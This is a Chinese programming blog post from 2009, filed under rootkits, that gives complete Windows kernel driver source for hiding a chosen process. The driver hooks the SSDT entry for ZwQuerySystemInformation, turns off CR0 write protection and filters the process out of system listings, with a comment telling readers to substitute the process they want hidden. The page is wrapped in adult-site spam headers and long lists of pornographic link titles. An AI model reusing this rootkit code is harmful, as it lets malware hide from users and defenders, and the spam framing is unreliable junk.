青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

HOOK SSDT實現進程隱藏

Posted on 2009-10-24 21:01 S.l.e!ep.¢% 閱讀(882) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

HOOK SSDT實現進程隱藏(代碼)

  1. #include "Driver.h"


  2. #pragma??pack(1)
  3. typedef struct _SSDT_TABLE
  4. {
  5. ??PVOID? ?ServiceTableBase;
  6. ??PULONG??ServiceCounterTableBase;
  7. ??ULONG? ?NumberOfService;
  8. ??ULONG? ?ParamTableBase;
  9. }SSDT_TABLE,* PSSDT_TABLE;
  10. #pragma pack()

  11. struct _SYSTEM_THREADS
  12. {
  13. ??LARGE_INTEGER? ?? ?? ???KernelTime;
  14. ??LARGE_INTEGER? ?? ?? ???UserTime;
  15. ??LARGE_INTEGER? ?? ?? ???CreateTime;
  16. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?WaitTime;
  17. ??PVOID? ?? ?? ?? ?? ?? ?? ?? ?? ?StartAddress;
  18. ??CLIENT_ID? ?? ?? ?? ?? ?? ?? ???ClientIs;
  19. ??KPRIORITY? ?? ?? ?? ?? ?? ?? ???Priority;
  20. ??KPRIORITY? ?? ?? ?? ?? ?? ?? ???BasePriority;
  21. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ContextSwitchCount;
  22. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ThreadState;
  23. ??KWAIT_REASON? ?? ?? ?? ?WaitReason;
  24. };

  25. //===================================================
  26. struct _SYSTEM_PROCESSES
  27. {
  28. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?NextEntryDelta;
  29. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ThreadCount;
  30. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?Reserved[6];
  31. ??LARGE_INTEGER? ?? ?? ???CreateTime;
  32. ??LARGE_INTEGER? ?? ?? ???UserTime;
  33. ??LARGE_INTEGER? ?? ?? ???KernelTime;
  34. ??UNICODE_STRING? ?? ?? ? ProcessName;
  35. ??KPRIORITY? ?? ?? ?? ?? ?? ?? ???BasePriority;
  36. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ProcessId;
  37. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?InheritedFromProcessId;
  38. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?HandleCount;
  39. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?Reserved2[2];
  40. ??VM_COUNTERS? ?? ?? ?? ?? ?? ?? ?VmCounters;
  41. ??IO_COUNTERS? ?? ?? ?? ?? ?? ?? ?IoCounters; //windows 2000 only
  42. ??struct _SYSTEM_THREADS? ?? ?? ? Threads[1];
  43. };

  44. struct _SYSTEM_PROCESSOR_TIMES
  45. {
  46. ? ?LARGE_INTEGER? ?? ?? ? IdleTime;
  47. ? ?LARGE_INTEGER? ?? ?? ? KernelTime;
  48. ? ?LARGE_INTEGER? ?? ?? ? UserTime;
  49. ? ?LARGE_INTEGER? ?? ?? ? DpcTime;
  50. ? ?LARGE_INTEGER? ?? ?? ? InterruptTime;
  51. ? ?ULONG? ?? ?? ?? ???InterruptCount;
  52. };


  53. //======================================================

  54. typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)(
  55. ? ?IN ULONG SystemInformationClass,
  56. ? ?IN PVOID SystemInformation,
  57. ? ?IN ULONG SystemInformationLength,
  58. ? ?OUT PULONG ReturnLength);



  59. NTSTATUS MyZwQuerySystemInformation(
  60. ? ?IN ULONG SystemInformationClass,
  61. ? ?IN PVOID SystemInformation,
  62. ? ?IN ULONG SystemInformationLength,
  63. ? ?OUT PULONG ReturnLength);



  64. //定義全局變量
  65. extern "C" extern PSSDT_TABLE??KeServiceDescriptorTable;
  66. ULONG??OldAddress;
  67. ZWQUERYSYSTEMINFORMATION? ?? ???OldZwQuerySystemInformation;
  68. PVOID Base;

  69. //函數申明
  70. VOID DisplayItsProcessName()

  71. {
  72. ? ? ? ? PEPROCESS Peprocess = PsGetCurrentProcess();
  73. ? ? ? ? PTSTR ProcessName = (PTSTR)((ULONG)Peprocess+0x174);
  74. ? ? ? ? KdPrint(("The Process :%s\n",ProcessName));
  75. }


  76. void UnHook();


  77. VOID Unload (IN PDRIVER_OBJECT pDriverObject)
  78. {

  79. ? ? ? ? KdPrint(("Enter DriverUnload\n"));
  80. ? ? ? ? UnHook();? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???// mark
  81. }


  82. NTSTATUS MyZwQuerySystemInformation(
  83. ? ???IN ULONG SystemInformationClass,
  84. ? ???IN PVOID SystemInformation,
  85. ? ???IN ULONG SystemInformationLength,
  86. ? ???OUT PULONG ReturnLength) //定義自己的Hook函數
  87. {
  88. ? ?NTSTATUS rc;

  89. ? ?UNICODE_STRING process_name;
  90. ? ?RtlInitUnicodeString(&process_name, L"taskmgr.exe");//改成自己要隱藏進程

  91. ? ?rc = (OldZwQuerySystemInformation) (
  92. ? ???SystemInformationClass,
  93. ? ???SystemInformation,
  94. ? ???SystemInformationLength,
  95. ? ???ReturnLength);
  96. ??
  97. ? ?if(NT_SUCCESS(rc))
  98. ? ?{
  99. ? ???if(5 == SystemInformationClass)
  100. ? ???{
  101. ? ?? ? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
  102. ? ?? ? struct _SYSTEM_PROCESSES *prev = NULL;
  103. ? ?? ? if(curr->NextEntryDelta)
  104. ? ?? ? ? ? ? ???curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);

  105. ? ?? ? while(curr)
  106. ? ?? ? {
  107. ? ?? ???
  108. ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))

  109. ? ?? ?? ?{
  110. ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? KdPrint(("hide process'name taskmgr.exe"));


  111. ? ?? ?? ???if(prev)
  112. ? ?? ?? ???{
  113. ? ?? ?? ?? ? if(curr->NextEntryDelta)
  114. ? ?? ?? ?? ? {
  115. ? ?? ?? ?? ?? ?prev->NextEntryDelta += curr->NextEntryDelta;
  116. ? ?? ?? ?? ? }
  117. ? ?? ?? ?? ? else
  118. ? ?? ?? ?? ? {
  119. ? ?? ?? ?? ?? ?prev->NextEntryDelta = 0;
  120. ? ?? ?? ?? ? }
  121. ? ?? ?? ???}
  122. ? ?? ?? ???else
  123. ? ?? ?? ???{
  124. ? ?? ?? ?? ? if(curr->NextEntryDelta)
  125. ? ?? ?? ?? ? {
  126. ? ?? ?? ?? ?? ?SystemInformation =(PVOID)((ULONG)SystemInformation + curr->NextEntryDelta);
  127. ? ?? ?? ?? ? }
  128. ? ?? ?? ?? ? else
  129. ? ?? ?? ?? ? {
  130. ? ?? ?? ?? ?? ?SystemInformation = NULL;
  131. ? ?? ?? ?? ? }
  132. ? ?? ?? ???}

  133. ? ?? ?? ???if(curr->NextEntryDelta)
  134. ? ?? ?? ???? ? ? ? ? ? ? ? curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);
  135. ? ?? ?? ???else
  136. ? ?? ?? ???{
  137. ? ?? ?? ?? ? curr = NULL;
  138. ? ?? ?? ?? ? break;
  139. ? ?? ?? ???}
  140. ? ?? ?? ?}

  141. ? ?? ?? ?if(curr != NULL)
  142. ? ?? ?? ?{
  143. ? ?? ?? ???prev = curr;
  144. ? ?? ?? ???if(curr->NextEntryDelta)
  145. ? ?? ?? ???? ? ? ? ? ? ? ? curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);
  146. ? ?? ?? ???else curr = NULL;
  147. ? ?? ?? ?}

  148. ? ?? ? }
  149. ? ???}
  150. ? ?}
  151. KdPrint(("HookZwQuerySystemInformation is Succeessfully.... \n"));
  152. DisplayItsProcessName();

  153. return rc;

  154. }


  155. VOID Hook()
  156. {
  157. ? ? ? ? DbgPrint("Entry Hook()\n");
  158. ? ? ? ? OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;//用windbg反匯編查到zwquerysysteminformationde
  159. ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?//的ID號是0xADh
  160. ? ? ? ? DbgPrint("KeServiceDescriptorTable->ServiceTableBase is :0x%0x\n",KeServiceDescriptorTable->ServiceTableBase);
  161. ? ? ? ? //保存原來函數的地址
  162. ? ? ? ? OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) *(ULONG *)OldAddress;
  163. ??DbgPrint("OldZwQuerySystemInformation is :0x%0x\n", OldZwQuerySystemInformation);
  164. ??DbgPrint("MyZwQuerySystemInformation is :0x%0x\n", MyZwQuerySystemInformation);

  165. ? ?//取消內存寫保護
  166. ??_asm
  167. ??{
  168. ? ? cli
  169. ? ?
  170. ? ?? ?mov??eax,cr0??
  171. ? ?? ?and??eax,not 10000h
  172. ? ?? ?mov??cr0,eax
  173. ? ?? ?
  174. ??}
  175. ??

  176. ? ? ? ?
  177. ? ? ? ? *(ULONG*)OldAddress =(ULONG) MyZwQuerySystemInformation;? ?? ? //mark? ?MyZwQuerySystemInformation;
  178. ??
  179. ??//還原內存寫保護
  180. ??_asm
  181. ??{??
  182. ??
  183. ? ? mov??eax,cr0
  184. ? ?? ?or? ?eax,10000h
  185. ? ?? ?mov??cr0,eax
  186. ? ?? ?sti
  187. ??
  188. ??
  189. ??}
  190. }

  191. void UnHook()
  192. {
  193. ??ULONG??Address;
  194. ??
  195. ??Address =(ULONG) KeServiceDescriptorTable->ServiceTableBase +0xAD*4;
  196. ??
  197. ??__asm{
  198. ? ? cli
  199. ? ?? ?mov??eax,cr0
  200. ? ?? ?and??eax,not 10000h
  201. ? ?? ?mov??cr0,eax
  202. ??}
  203. ? ?
  204. ??*(ULONG*)Address =(ULONG) OldZwQuerySystemInformation;
  205. ??
  206. ??__asm{??
  207. ? ? mov??eax,cr0
  208. ? ?? ?or? ?eax,10000h
  209. ? ?? ?mov??cr0,eax
  210. ? ?? ?sti
  211. ??}
  212. ??
  213. ??DbgPrint("Unhook leave!\n");
  214. ??
  215. }
  216. ??



  217. //========================驅動入口函數
  218. extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT??pDriverObject, IN PUNICODE_STRING??pRegistryPath)
  219. {
  220. ??DbgPrint("Entry Hook Function!\n");

  221. ? ? ? ? pDriverObject->DriverUnload = Unload;
  222. ? ? ? ?
  223. ? ? ? ? Hook();
  224. ??
  225. ??DbgPrint("Leave DriverEntry!\n");
  226. ??
  227. ? ? ? ? return STATUS_SUCCESS;
  228. ??
  229. }
復制代碼
XPSP3 WDK 順利通過~
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            久久精品国产免费观看| 国产精品va在线播放我和闺蜜| 国产精品视频免费观看| 欧美激情一区在线观看| 国产精品手机视频| 亚洲精一区二区三区| 韩国亚洲精品| 亚洲一区二区三区视频播放| 亚洲裸体俱乐部裸体舞表演av| 亚洲午夜电影网| 99精品欧美一区二区三区综合在线| 亚洲伊人观看| 日韩亚洲综合在线| 免费观看国产成人| 美女图片一区二区| 国内不卡一区二区三区| 性久久久久久久久久久久| 亚洲中无吗在线| 欧美日韩高清在线观看| 91久久夜色精品国产网站| 激情综合在线| 久久精品国产亚洲高清剧情介绍| 亚洲香蕉视频| 国产精品久久99| 亚洲四色影视在线观看| 亚洲欧美韩国| 国产精品久久久久久久app| 一片黄亚洲嫩模| 亚洲一区二区三区777| 欧美三级欧美一级| 一区二区三区成人| 午夜精品福利一区二区蜜股av| 欧美日韩国产a| 亚洲一区精品电影| 久久爱www.| 一区在线播放| 欧美成人综合| 一区二区三区 在线观看视| 亚洲欧美激情视频| 国产亚洲一区在线播放| 久久久中精品2020中文| 欧美激情成人在线| 99在线视频精品| 国产精品美女黄网| 欧美中文在线观看| 欧美高清视频在线观看| 99视频在线观看一区三区| 欧美四级伦理在线| 欧美专区18| 亚洲福利在线观看| 亚洲欧美日本精品| 国产综合欧美在线看| 免费在线成人av| 这里是久久伊人| 久久综合九色99| 日韩亚洲视频在线| 国产亚洲精品自拍| 欧美国产精品v| 亚洲影院在线| 欧美激情在线观看| 亚洲欧美日韩精品综合在线观看| 国产精品久久网站| 久久一区亚洲| 亚洲色诱最新| 欧美二区在线| 欧美专区日韩视频| 999在线观看精品免费不卡网站| 欧美三级午夜理伦三级中视频| 亚洲一区三区视频在线观看| 欧美承认网站| 欧美一区二区高清| 亚洲精品欧美日韩| 国产一区二区三区在线播放免费观看| 欧美一区2区视频在线观看| 最新国产拍偷乱拍精品| 久久久久久网站| 亚洲一区二区三区免费观看| 在线观看亚洲专区| 国产亚洲va综合人人澡精品| 欧美日韩国产123| 免费成人黄色片| 欧美专区日韩专区| 亚洲欧美国产高清| 日韩一二在线观看| 亚洲国产精品免费| 美国成人直播| 久久国产加勒比精品无码| 亚洲婷婷综合久久一本伊一区| 樱桃国产成人精品视频| 国产视频在线一区二区 | 久久久久久999| 亚洲午夜一区二区| 亚洲精品乱码久久久久久久久 | 亚洲欧美另类在线观看| 欧美激情亚洲另类| 99re亚洲国产精品| 亚洲裸体视频| 亚洲福利国产精品| 国产一区二区毛片| 欧美午夜精品久久久久久浪潮| 久久精品卡一| 一区二区三区|亚洲午夜| 亚洲日本中文字幕| 欧美激情免费观看| 久久亚洲捆绑美女| 欧美一区二区三区播放老司机| **性色生活片久久毛片| 国产精品系列在线播放| 国产精品视频最多的网站| 欧美日韩国产经典色站一区二区三区| 亚洲视频欧美视频| 亚洲人成在线免费观看| 欧美激情亚洲精品| 欧美成人中文字幕在线| 香蕉久久国产| 久久婷婷人人澡人人喊人人爽| 正在播放亚洲一区| 在线中文字幕不卡| 9久re热视频在线精品| 亚洲精品一区中文| 一区在线观看视频| 亚洲精品一区二区三区不| 亚洲福利在线观看| 激情亚洲网站| 国产欧美视频一区二区| 国产精品免费看久久久香蕉| 国产精品成人aaaaa网站 | 久久国产欧美精品| 欧美在线免费一级片| 欧美在线一区二区| 久久美女性网| 欧美日韩精选| 国产精品v欧美精品v日韩| 国产精品日韩精品| 国产亚洲福利| 激情欧美一区二区三区| 国产一区高清视频| 亚洲精品一二区| 亚洲午夜激情免费视频| 亚洲欧美日韩精品久久久| 久久不射中文字幕| 久久艳片www.17c.com| 亚洲国产一区二区a毛片| 亚洲老板91色精品久久| 亚洲私人黄色宅男| 久久精品30| 欧美成人午夜激情| 欧美日本三区| 国内外成人在线| 亚洲精选成人| 欧美一区二区免费观在线| 久久综合给合久久狠狠色 | 宅男精品视频| 欧美一区二区播放| 欧美成人精品福利| 这里是久久伊人| 久久久一本精品99久久精品66| 欧美精品在线观看一区二区| 国产精品久久久久久户外露出| 国产农村妇女毛片精品久久莱园子| 国产一区二区三区高清播放| 亚洲国产日韩欧美| 欧美一区二区在线免费观看| 亚洲福利国产| 午夜在线观看免费一区| 美女日韩欧美| 国产精品日韩欧美一区二区三区| 国产精品嫩草影院av蜜臀| 国产一区二区日韩精品欧美精品| 亚洲国产一区视频| 午夜精品福利在线| 亚洲人成在线观看| 久久精品视频一| 国产精品99一区二区| 国产一区在线播放| 一区二区三区av| 女人香蕉久久**毛片精品| 在线一区二区日韩| 老巨人导航500精品| 欧美色欧美亚洲另类七区| 日韩视频在线观看免费| 久久精品视频在线免费观看| 日韩亚洲欧美中文三级| 欧美wwwwww| 激情综合网激情| 久久综合九色综合欧美狠狠| 亚洲午夜电影网| 欧美精品一区在线| 亚洲黄色成人| 欧美伊人久久久久久久久影院| 91久久午夜| 欧美大片免费看| 亚洲高清一区二区三区| 久久久久久穴| 在线综合亚洲| 国产精品一二一区| 午夜精品久久久| 亚洲一区二区免费| 欧美视频免费看| 性高湖久久久久久久久|